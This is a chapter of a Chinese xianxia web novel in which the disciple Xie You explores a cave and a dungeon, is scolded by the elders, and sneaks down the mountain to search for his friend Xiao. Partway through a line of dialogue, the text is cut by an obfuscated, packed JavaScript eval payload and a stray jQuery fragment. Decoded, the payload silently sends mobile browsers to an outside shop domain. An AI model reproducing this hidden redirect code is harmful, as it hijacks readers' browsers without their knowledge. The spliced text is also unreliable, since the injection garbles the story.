大雪纷飞,狂风呼啸,山路崎岖难行,沟壑纵横。茂密的松针此时如针一般,迎着暴雪乱舞,谢宥险些被扎成了刺猬。
他原先从未到过主峰的山后,不知此处比起凤凰峰,竟是有过之而无不及。初登时还尚且平坦,能走。可待他从银霜满地中寻到那只露出半片红瓦的曝石亭,再向上看去,谢宥都无力招架了,他心想,自己一定是走错了路,寻常弟子走的绝对不是此处。
渐渐之石,维其卒矣,可谓是连个下脚的地方都没有。可路已至此,谢宥也只能闷头从那陡峭里一路攀了上去。
直到他在一片令人晕头转向的松树林里数到了第三十三棵,谢宥觉得自己离闭目养神也不远了。更令他两眼一黑的是,根本没有。第三十三棵树下根本没有!
谢宥咬着牙,又顶着风雪寻了半个时辰,才在几步外的第四十三棵树下寻到了一个极小极小的,又极其隐蔽的入口。
“这一定不是大门。”谢宥道,“这看起来,根本不能供丧失活动能力的尸体通过。如此隐蔽的地方,寻常弟子如何能知道,还能恰巧告诉我?”
至此,谢宥心下了然,一定是陷阱。
他不加思索,便屈身跳了下去。
落地竟是在一泽水潭。
其下逼仄狭小,伸手不见五指,谢宥只能屈膝蹲下,任凭冰冷的水池浸湿膝盖,冻得他打了个寒颤。
“奇怪……我分明自小便不怎么怕冷。”谢宥自语,“这池水定不一般。”
他右手探入袖口,拿出一张黄色符纸,这是昨日回来时,宗主赠予他的照明符。谢宥还没多稀罕一会儿便要用掉,心中难免不舍。
一抹淡蓝色的犹如丝线般的灵气萦绕过后,符纸倏地亮起,发出盈盈幽光,照亮了大半洞府。
此处竟也同样是怪石嶙峋,四周生淡灰色石罅,这池水是从石壁下狭窄的窟窿倾泻而来,再挪两步,便没了。
整个洞府状若半圆,唯一条路散发着细微光亮,方才没有照明,难以看清。
谢宥不想去管其他道路的通向,举着符咒朝那条路走去。
没走出几步,豁然中开,他险些摔入前方的洞口,缓了一会,听见下方竟传来细弱的交谈之声!
那交谈声持续了很久,似乎是两个人,却又断断续续,谢宥一直听不清楚,待他俯下身子,想去听个仔细时——
交谈声戛然而止。
不仅如此,那抹微弱的光亮也彻底熄灭。
这也导致,他持着符咒而照得明亮的上方,在下面的人看来应该是极其明显!
谢宥瞳孔骤然一缩,急忙将符纸藏于身后,霎时,两边都陷入了黑暗。
他没有立刻将照明符熄灭,一是仅此一张,二是他初来乍到,贸然行事,反而不利。
好在,他赌对了。下方安静了片刻,没一会儿,交谈声继续传来,与方才并无异样,想来是没有发现他。
前方是甬道,太过显眼。谢宥趴下身子,调整姿势,借着身后摇摇欲坠的光亮,悄无声息地将半个脑袋探了出去——
一道女声。
“他的,记忆,你拿走了?”
听不见回答……
“什么时候……还……”
谢宥暗下决心,以后他最厌恶的便是说话小声之人。
“希望他,不要怪我……我不得不这么做。”
“他会发现的。”
似乎是一男一女。
“他会知道的!可那又怎样!”
饶是说的不是自己,谢宥也被吓得毛骨悚然。
这是什么乱七八糟的。他蹙眉,莫非是二长老给那些歹人喂了能致人失去记忆的药丸?
“也不知究竟有没有这种药丸。”谢宥喃喃。
下方又传来了声音,窸窸窣窣的。不久后,彻底归于寂静。
“走了?”谢宥将整个脑袋探了出去。
下方是一处宽阔的石室,比他落脚的地方大些。谢宥先是起身,将脚探了出去,再稳稳落地。
此处同样是半圆状,幽闭潮湿,石壁摸起来像长了苔藓一般,更离奇得是,这些石头摸起来很冰,就好像是雪做成的!
谢宥用手指捻起一些石粉,放入嘴中尝了一口,是实打实的石头。
四周石壁在符纸的照耀下诡异非常,脚底也湿湿滑滑,这里活脱脱像个冰室,谢宥感到身体急剧地失温,不禁打了个哆嗦:“还是快些离开吧。”
从此处出去,很是曲折难绕。谢宥一连走了数条小道,九曲回肠,举步维艰,总算在照明符快要烧完时——噗通!
又是一处水潭,但谢宥并未留意到,直直地栽了下去,手里的照明符也戛然烧完,化成一缕轻烟。
他揉揉酸痛的膝盖,紧皱着眉毛,抬起头,却发现自己竟来到了传说的地牢。
此时他浑身早已湿了个透彻,掌心里全是碎石,扎进肉里,狼狈极了。
地牢极为宽敞,放眼望去,地上密密麻麻全是“尸体”。而他的正前方和侧面,都是早已废弃的牢房,长满蛛网,落着锁。这些歹人统统躺在地上,围成一个圆圈,估计是被随意扔下的。
谢宥凑近牢房,锁上早已生锈,每一间里面都空无一物,他又折返回去,对着排开的“尸体”一一辨认着衣着,叠在一起的,也全被他翻开。
“这也不是。”谢宥将趴着的歹人拨开,“这也不是。”
他记得白回轩所描述的山贼的衣着,可翻找了这么多,都没见着一具。
“奇怪……二长老不是派人在整个北荒内巡视么,怎么一个山贼也没抓到?难道被他们逃走了?”谢宥又翻找了几具,此时他已经快要将所有人都辨认完了,可就是没有!
“肖兄……”谢宥小声默念,将拳头攥紧,在心里祈祷那伙人没有将肖兄带走。可这般杳无音信,也令他更加坐立难安了,一定得下山!
谢宥将手里的“尸体”放下,抖了都袖子,迈步便要离开地牢。
他将靴子从肮脏的水坑里抬起,还未跨步,下一瞬,整个人被巨大的力道往后一拽,险要摔倒。谢宥踉跄一步,低头,只见一只发青的手死死抓着他的脚踝!
谢宥倒吸一口凉气,蓄力一脚将他踹翻,怒道:“这是我新买的——!”
那人在地上翻滚了几圈,浑身污泥,不动弹了。
谢宥蹲下身子,满眼痛惜地用袖子擦着弄脏的靴子,待他满意地抬眼,却发现整个地牢里早已齐齐站满了“尸体”,不对,人。
谢宥僵硬地扯了扯嘴角,不知该说些什么。
那些人却早已发现了他,面面相视,以眼神交流了一番,随即掏出身上的砍刀便朝着谢宥看来!
谢宥拔腿就跑。
“二长老!”他在心里压低声音,吼道,“你为什么不让人收去他们的刀啊!”
此时此刻,他才觉得这地牢小得可怜,根本无处匿形。身后跟着乌压压的一片歹人,祸不单行,前面的歹人竟也慢慢苏醒了过来,见他跑来,提刀便砍!
谢宥微微欠身,聚力于左腿,身形一翻,从地上弹到了牢门的铁栅上。霎时,“嘎吱嘎吱”声响作一片,他尚未站稳,铁栅全倒了!
谢宥又以此借力,顺势飞身于另一侧的栅栏,谁成想,这也是同样的光景。一时间,倒了一片,铁制的栅栏门质量堪忧,但重量极佳!顿时,地牢里灰尘四溅,脏水飞腾,歹人们抱头鼠窜,逃作一片。
一名弟子正巧搬着一具新鲜的“尸体”前来,见此情形,下巴险些脱臼,瞠目结舌了半天,大声喊道:“二长老——”
谢宥一句“别叫”还凝于丹田,见此彻底泄力。手劲一松,也从半片突出的石壁上摔了下去。
……
如果说,浑身泥污地倒在地上,被二长老携一大群弟子看见,很丢人的话。
那浑身泥污地被二长老从主峰揪到青云殿,一定是丢人得不能再丢人了。
从这一天起,关于谢师兄的传说中加上了一条:真正的美人哪怕一脸泥水,也还是美人。
当然,此时的谢宥并不知道。
他正窃喜自己在青云殿据理力争,在“现在立刻去思过堂抄三百遍门规”,和“被二长老痛骂半个时辰后去思过堂抄三百遍门规”中,选择了先回邀雪峰换一件干净衣服。
邀雪峰立于主峰右侧,与其他二峰相去甚远,偏僻幽静,唯有他和师尊师弟三人居住。没记错的话,那二人此时都不在……他保住了些许颜面,高兴地飞奔回去。
还没走近,便见那竹木小房门口杵着一抹白色身影。
“小白!”谢宥加快脚步跑了过去。
小白难得乖顺地回头搭理他,一双蹄子在地上踢踢踏踏。
谢宥摸了它两把,回到屋内,将脏污的衣衫褪下,换了一身新的,顺手拿出一捆竹叶。
“都是我今早现摘的,答应给你吃好吃的,没骗你吧?”
小白高兴地叫了两声。
“真馋!明明负责的弟子已经喂过你了,这才几个时辰,便来找我讨吃的。”见它吃完,谢宥又拿出一捆,“在三仙镇因为馋嘴差点丢了命,怎么一点都不记事?”
小白装作没听见,嘴上吃得起劲。
谢宥摸了摸它的白毛,道:“你还记得肖兄么?他出事了,我要下去寻他。我不在的日子里,你也要好好吃饭。若是饿了,我这里的竹叶随便你吃,师尊和师弟的不行。”
小白蹦了起来,表现出强烈的抗拒。
“嘿!你这马,这么大片竹林还不够你吃么?怎的又耍脾气!”他正欲再说,却听门外突然传来噩耗。
“谢师兄,你今早是不是在静食堂落下个酒壶!”一个平日里与他交好的内门弟子急匆匆的跑来,想来还不知谢宥的丢人遭遇。
那弟子手里捧着印有“门规”二字的竹书,翻到“静食堂”一则,扯着嗓子念到:“宣闻堂主捡到了!他说你违反了……嗯……第一百八十六条规矩,不能在静食堂饮酒!”
“谢师兄——堂主他方才提着你的酒壶去青云殿了,你、你趁他还没到,快找个地方避避风头吧——”
“知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946795|214081||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
道了,多谢——”
谢宥回应了一声。手下不自觉用了些力,揪得小白吃痛地扭动。
“小白……”谢宥轻轻摸了两下,“我要下山了,不过,我马上便能回来。”
希望宗主来找他时,可以将他洗到一半的衣服洗干净。谢宥心道,等,等二长老消气他便回来,等找到肖兄便回来,等他闯一闯这从未见过的江湖,便回来。
很快,很快。
最后再望了一眼竹林,那是他平日练剑的地方,院内,种着宗主摆不下的花,屋内,竹木茶几,晾着擦剑的方巾。
出门时,那弟子还站在那儿等着,见他出来,惊叹道:“谢师兄,你穿了普通弟子模样的衣服呀,也是很俊俏呢!”
“你再不回去,小云得来喊你吃饭了。”谢宥笑了笑。
“我马上便回去!”那弟子收起竹书,“谢师兄,”你记得先不要去青云殿啊!”
“嗯。”谢宥应了一声,在那弟子的注视与告别下慢慢走着,缓缓走着,只到他看不见自己的身影了。
谢宥立马掉头。
他从邀雪峰的小路一路向下,躲开了其他弟子的视线,神不知鬼不觉地溜到了山门。
此处并非净一宗的正门,却也有人值守,但只有一人,若是要溜,此处是最佳选择。谢宥知道二长老早已下令不让他出去,只能将那碰巧值守的可怜弟子劈晕了。
谢宥装作无事的样子,闲云野鹤地踱到了山门处。只见那亭下,值守的弟子仿佛也刚赶到,正摆弄着自己的餐盒。注意到有人靠近,突然抬起头。
“回轩?”谢宥惊道。
“谢师兄?”白回轩也惊道,“你怎么来这儿了……?”
“你不应该在正门么!”谢宥疑道。
闻言,白回轩摸了摸后脑勺:“谢师兄可能不知道……我每日的这两个时辰,都轮换到这里。对了!肖公子的事,你想到法子了吗?”
“想到了。”谢宥点了点头,沉默片刻,向他做了个手势。
白回轩惊讶得睁大了眼睛,嘴巴一张一合,最终像下定决心般:“……那你一路小心。”
他紧紧抿着嘴唇,从装餐盒的包袱里翻找片刻,在底部的暗袋中拿出一张皱皱巴巴的符纸,塞给了谢宥。
“你把它给我作甚!”谢宥推脱。他知道这符纸对白回轩来说,一定是极其重要且难得的。
“谢师兄,你收下吧。这是我及冠礼那天,宗主赐于我的,在我这里也派不上什么用场。”他说着说着,声音又染上了哭腔,“我知道,此事归根到底是因我而起,师兄是替我收拾烂摊子罢了。”
“这是我的一番心意,你不要,我反而睡不着了……山贼危险,我希望谢师兄能一路保重。”
谢宥见状,也只得收下了。他郑重地放入贴身的暗袋之中,又看向白回轩,笑着逗他:“回轩,你真是……你把我放走了,该如何向宗主交代?”
白回轩不语,一副“不就是思过堂,我去便是”的模样。
临走前,谢宥又回过头,向他挥手,眼底泛起笑意:“当真不要我将你劈晕吗?”
“不用了。”白回轩笑里带泪,认真地摇了摇头,又道,“谢师兄,早些回来。”
“放心,用不了几日我便回来了。对了,记得帮我喂一下小白,那家伙饭量大,一日不加餐便要发脾气。”
白回轩应下了。
谢宥又挥了挥手,踩着一地碎雪玉尘离去。
这座终年积雪、遗世独立的净灵山,在他的眸子中变得越来越小,越来越远。仍旧是他常从山上偷跑下来去三仙镇喝酒的小道,那竹林如旧,柳树如烟,风雪亦然,谢宥的心里却不知怎的多了几分凝重。
也许是肖长衍生死未卜。也许是北荒太大,他寻起来也不知该如何。也许是常听长辈们谈起江湖,他神往已久,乍然前去,心底总有几分不安。他只能摸摸腰间,却发现酒壶早已不在,空空如也。
谢宥离去的身影同样映在净安的眼中,少年那因紧张而近乎凝重的步伐,漾起年长者的几分柔情,净安不禁笑了一声。
“哟。”青云君见状,朝他递去眼神,“他走了?”
净安笑着点了点头。
“都怪你非让他去什么地牢,还不走正门!整个地牢都废了,得重建!记得回去拿银子给我。”
净安摇着折扇,视线从窗子落了回来,僵硬地转移话题:“……你说,依白回轩的胆量,他何时会来请罪?”
青云君思索片刻,比了个“二”的手势。
“等他来了,你千万不要罚他。”净安道。
“又不罚!?”青云君不解道,“不以规矩,如何能成方圆!”
净安为他扇了扇风:“不成方圆……成梅花酥也不错啊。”
青云君起身去关窗,不忘瞪他一眼:“你这里若是没有我,不知得乱成什么样子!一个个的,都被你养成不知规矩的混小子了!”
净安“嘿嘿”一笑,从紫檀椅上跳了起来,摇着扇子走了:“我去看弟子们练剑——”